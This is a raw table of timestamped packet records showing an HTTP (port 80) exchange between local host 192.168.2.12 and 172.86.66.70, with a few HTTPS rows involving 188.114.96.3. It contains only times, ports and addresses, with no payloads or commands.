Sep 26, 2024 15:11:18.715496063 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715615988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715648890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715682030 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715714931 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715755939 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715805054 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715837955 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715863943 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715863943 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715871096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715919971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715951920 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715985060 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716018915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716049910 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716049910 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716049910 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716068983 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716078043 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716105938 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716137886 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716170073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716182947 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716203928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716227055 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716239929 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716273069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716305017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716356039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716367960 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716392040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716444016 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716450930 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716475964 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716525078 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716559887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716592073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716600895 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716626883 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716650009 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716686964 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716722012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716737986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716772079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716805935 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716842890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716875076 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716880083 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716880083 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.716912031 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716945887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716979027 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.716980934 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717015982 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717048883 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717082024 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717113972 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717145920 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717178106 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717211962 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717231035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717231035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717231035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717231035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717241049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717272997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717303991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717335939 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717384100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717415094 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717415094 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717417002 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717451096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717473984 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717484951 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717525005 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717534065 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717562914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717597961 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717632055 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717663050 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717673063 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717695951 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717700005 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717730999 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717768908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717801094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717833042 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717865944 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717915058 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717937946 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717937946 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717937946 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.717948914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.717983007 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718017101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718067884 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718101025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718101978 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718111992 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718135118 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718184948 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718219995 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718251944 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718283892 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718291998 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718291998 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718318939 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718350887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718374014 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718379974 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718415022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718431950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718450069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718478918 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718482971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718519926 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718532085 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718554974 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718588114 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718591928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718626022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718656063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718688965 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718705893 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718723059 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718755960 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718765974 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718789101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718822956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718854904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718888044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718890905 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.718921900 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718955040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.718986988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.719010115 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.719022989 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.719413042 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.720421076 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.764143944 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.764164925 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.764178991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.764192104 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.764206886 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.764215946 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.764219046 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.764233112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.764246941 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.764261961 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.764261961 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.764281034 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.780178070 CEST	443	49733	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:18.782051086 CEST	49733	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:18.782082081 CEST	443	49733	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:18.802947044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.802961111 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.802972078 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.802983999 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.802989960 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.802995920 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803065062 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803162098 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803366899 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803379059 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803397894 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803409100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803416014 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803421021 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803426981 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803437948 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803442955 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803463936 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803478003 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803488970 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803499937 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803510904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803520918 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803533077 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803544044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803554058 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803565979 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803577900 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803584099 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803584099 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803584099 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803584099 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803585052 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803617001 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803628922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803641081 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803651094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803680897 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803680897 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803680897 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803684950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803698063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803709030 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803719997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803731918 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803749084 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803769112 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803883076 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803901911 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803915977 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803925991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.803946018 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.803982019 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804049015 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804066896 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804078102 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804089069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804100037 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804111004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804183960 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804183960 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804183960 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804282904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804295063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804306030 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804327011 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804337978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804347992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804358959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804369926 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804369926 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804369926 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804420948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804457903 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804507017 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804549932 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804560900 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804572105 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804577112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804583073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804588079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804598093 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804636002 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804677963 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804868937 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804879904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804889917 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804902077 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804912090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804922104 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804934025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804944992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804955959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804965973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804979086 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.804980993 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804980993 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804980993 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.804996014 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805061102 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805217981 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805229902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805241108 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805249929 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805260897 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805274010 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805284023 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805294991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805306911 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805318117 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805510044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805510044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805510044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805510044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805587053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805598974 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805609941 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805622101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805633068 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805644989 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805651903 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805655956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805666924 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805677891 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805689096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805700064 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805711031 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805716991 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805716991 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805716991 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805721998 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805735111 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805787086 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805798054 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.805851936 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805851936 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.805851936 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.806067944 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806081057 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806092978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806103945 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806114912 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806126118 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806135893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806139946 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.806139946 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.806148052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806160927 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806162119 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.806171894 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806179047 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.806184053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806195974 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806206942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806219101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806231022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.806246042 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.806246042 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.806265116 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.806265116 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.851536036 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.851602077 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.851634979 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.851667881 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.851708889 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.851743937 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.851778030 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.851811886 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.851869106 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.851869106 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.851869106 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890187025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890199900 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890212059 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890250921 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890261889 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890271902 CEST	80	49732	172.86.66.70	192.168.2.12
